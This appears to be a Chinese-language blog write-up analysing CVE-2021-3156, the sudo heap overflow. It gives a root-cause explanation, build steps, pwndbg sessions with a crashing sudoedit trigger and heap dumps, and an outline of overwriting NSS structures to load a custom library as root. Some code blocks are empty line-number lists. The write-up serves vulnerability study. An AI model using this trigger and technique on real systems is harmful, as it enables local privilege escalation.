0%

CVE-2021-3156

漏洞原理

  1. 如果sudo时添加了-s参数,则会调用到sudoers_policy_main()函数中的set_cmnd(),该函数会根据参数计算size并调用malloc申请size大小的堆空间user_args,然后判断是否设置了MODE_SHELL,如果是,则会连接命令行参数存入堆空间user_args。在这个函数中如果from[0]是反斜杠,from[1]则会满足以下条件

    1
    2
    3
    if (from[0] == '\\' && !isspace((unsigned char)from[1]));
    from++;
    *to++ = *from++;
  2. 此时from++,from指向null,而执行to++ = from++时指向反斜杠后面的第一个字符,这样导致原来应该拷贝反斜杠以及之前字符串的,现在拷贝了反斜扛后面的参数,那么导致之前计算的size大小不正确导致了溢出。

  3. 不过set_cmnd()函数触发前会判断是否启用了 MODE_SHELL 和 MODE_RUN、MODE_EDIT、MODE_CHECK 中的一个,但是如果启用了MODE_SHELL,sudo在运行时main()函数会先调用parse_args(),该函数会连接所有命令行参数,并用反斜杠来编码所有元字符覆盖argv(即将\转义为\)。这会导致漏洞无法触发

  4. 所以我们使用sudoedit,因为如果使用 sudoedit,还是会利用软链接使用 sudo命令,而在 parse_args()函数中会自动设置 MODE_EDIT且不会重置 valid_flags(默认是含有MODE_SHELL的),而且不会设置 MODE_RUN,这样就能跳过 parse_args()函数中转义参数的部分,同时满足 set_cmnd()函数中漏洞触发的部分。

漏洞验证

编译

1
2
3
4
5
6
7
8
9
10

wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz

tar xf sudo-SUDO_1_9_5p1.tar.gz
cd sudo-SUDO_1_9_5p1/
mkdir build
cd build/
../configure --enable-env-debug
make -j CFLAGS="-g -O0"
sudo make install

调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`

pwndbg> b ../../../plugins/sudoers/sudoers.c:964
pwndbg> b ../../../plugins/sudoers/sudoers.c:978
pwndbg> r

In file: /ctf/work/sudo-SUDO_1_9_5p1/plugins/sudoers/sudoers.c
965 /*
966 * When running a command via a shell, the sudo front-end
967 * escapes potential meta chars. We unescape non-spaces
968 * for sudoers matching and logging purposes.
969 */
► 970 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
971 while (*from) {
972 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
973 from++;
974 *to++ = *from++;
975 }
pwndbg> p NewArgv[0]
$18 = 0x564580b0ee4e "sudoedit"
pwndbg> p NewArgv[1]
$19 = 0x7ffe19cd2536 "\\"
pwndbg> p NewArgv[2]
$20 = 0x7ffe19cd2538 "112233445566"
//处理NewArgv[1]时进入if (from[0] == '\\' && !isspace((unsigned char)from[1]))的判断语句,执行from++;*to++ = *from++;导致本来应该拷贝NewArgv[1],但是实际拷贝了NewArgv[2]
pwndbg> p to
$1 = 0x5648fc1bdac0 "\340\v1w3\177"
//预期应该拷贝NewArgv[1]和NewArgv[2],组成\ 112233445566,但是由于该漏洞NewArgv[2]被拷贝了两次
//user_args被覆盖前
pwndbg> x/10gx 0x56458187aab0
0x56458187aab0: 0x0000000000000000 0x0000000000000021
0x56458187aac0: 0x00007fbc8f313100 0x00007fbc8f7fdbe0
0x56458187aad0: 0x0000000000000000 0x0000000000000c91
0x56458187aae0: 0x00007fbc8f7fdbe0 0x00007fbc8f7fdbe0
0x56458187aaf0: 0x0000000000000000 0x0000000000000000

//user_args被覆盖后
pwndbg> x/10gx 0x56458187aab0
0x56458187aab0: 0x0000000000000000 0x0000000000000021
0x56458187aac0: 0x3433333232313100 0x3131203636353534
0x56458187aad0: 0x3535343433333232 0x0000000000203636
0x56458187aae0: 0x00007fbc8f7fdbe0 0x00007fbc8f7fdbe0
0x56458187aaf0: 0x0000000000000000 0x0000000000000000

可以看到下一个chunk的size被覆盖了。

漏洞利用

重写模块加载接口参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
```
当ni->library == NULL时,会触发第351行的dlopen加载一个以”libnss“开头,”.so.2”结尾的动态库。动态库的完整值取决于ni->name的值。我们只要覆盖ni->library和ni->name即可让程序加载我们自己定义的so。但是由于nss_load_library发生在set_cmnd之前,且偏移较远比较难覆盖。

不过我们可以先通过setlocale的方法malloc一些内存,当free以后,set_cmnd以及nss_load_bibrary会申请到这些内存地址,这时在进行漏洞的利用即可覆盖掉ni->library和ni->name从而加载我们自定义的so

调试
```bash
pwndbg> b ../../../plugins/sudoers/sudoers.c:964
Breakpoint 1 at 0x7f6e7a79f0db: file ../../../plugins/sudoers/sudoers.c, line 964.
pwndbg> b nss_load_library
Breakpoint 2 at 0x7f6e7af564c0: file nsswitch.c, line 329.

pwndbg> r -s xxxxxx\\ xxxxxxxxxxxxx
执行cmnd_status = set_cmnd();前
pwndbg> heapbase
heapbase : 0x561f576d9000

pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x561f576ef830 (size : 0xa7d0)
last_remainder: 0x561f576e7bf0 (size : 0xc90)
unsortbin: 0x561f576e7bf0 (size : 0xc90)
largebin[48]: 0x561f576ec9b0 (size : 0x2d20)
largebin[50]: 0x561f576e88d0 (size : 0x4010)
(0x80) tcache_entry[6](1): 0x561f576ec940
(0xd0) tcache_entry[11](1): 0x561f576dcc20
(0x110) tcache_entry[15](1): 0x561f576ef6e0
(0x1e0) tcache_entry[28](1): 0x561f576e76a0
(0x3b0) tcache_entry[57](1): 0x561f576dcd30
执行cmnd_status = set_cmnd();后

pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x561f576ef830 (size : 0xa7d0)
last_remainder: 0x561f576e7bf0 (size : 0x7878787878787878)
unsortbin: 0x561f576e7bf0 (invaild memory)
largebin[48]: 0x561f576ec9b0 (size : 0x2d20)
largebin[50]: 0x561f576e88d0 (size : 0x4010)
(0x80) tcache_entry[6](1): 0x561f576ec940
(0xd0) tcache_entry[11](1): 0x561f576dcc20
(0x110) tcache_entry[15](1): 0x561f576ef6e0
(0x1e0) tcache_entry[28](1): 0x561f576e76a0
(0x3b0) tcache_entry[57](1): 0x561f576dcd30

pwndbg> p __nss_group_database
$3 = (service_user *) 0x561f576daee0
pwndbg> p sudo_user.cmnd_args
$4 = 0x561f576e7be0 "xxxxxx"
pwndbg> chunkptr __nss_group_database
==================================
Chunk info
==================================
Status : Used
Freeable : True
prev_size : 0x70756f7267
size : 0x40
prev_inused : 1
is_mmap : 0
non_mainarea : 0
pwndbg> chunkptr sudo_user.cmnd_args
==================================
Chunk info
==================================
Status : Freed
Unlinkable : False (FD or BK is corruption)
Can't access memory
prev_size : 0x0
size : 0x20
prev_inused : 1
is_mmap : 0
non_mainarea : 0
fd : 0x7800787878787878
bk : 0x7878787878787878

根据以上信息我们可以得出一下结论
sudo_user.cmnd_args的地址(0x561f576e7be0)高于nss_group_database的地址(0x561f576daee0),所以cmnd_args溢出的话没法覆盖nss_group_database的地址

但是在qualys提供的exp思路里我们知道可以调用setlocale这个函数(设置LC_*环境变量)的方式来修改sudo的内存结构

1
2
3
4
5
6
7
8
9
10
pwndbg> set env LC_ALL=en_US.UTF-8@xxxxxxxxxxxxx
pwndbg> r -s 'xxxxxx' 'x' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\'
pwndbg> b set_cmnd
pwndbg> b nss_load_library
pwndbg> b ../../../plugins/sudoers/sudoers.c:885
执行完
pwndbg> p __nss_group_database
$1 = (service_user *) 0x55da3e0b38e0
pwndbg> p sudo_user.cmnd_args
$2 = 0x55da3e0b37c0 "xxxxxx x "

此时sudo_user.cmnd_args的地址低于nss_group_database的地址,可以利用溢出覆盖掉nss_group_database结构,我们再修改一下传入的参数试试

ref

https://packetstormsecurity.com/files/161160/Sudo-Heap-Based-Buffer-Overflow.html
https://www.anquanke.com/post/id/231420#h2-7
https://bbs.pediy.com/thread-265669.htm
https://bestwing.me/CVE-2021-3156-analysis..html
https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
https://www.kalmarunionen.dk/writeups/sudo/
https://www.anquanke.com/post/id/231077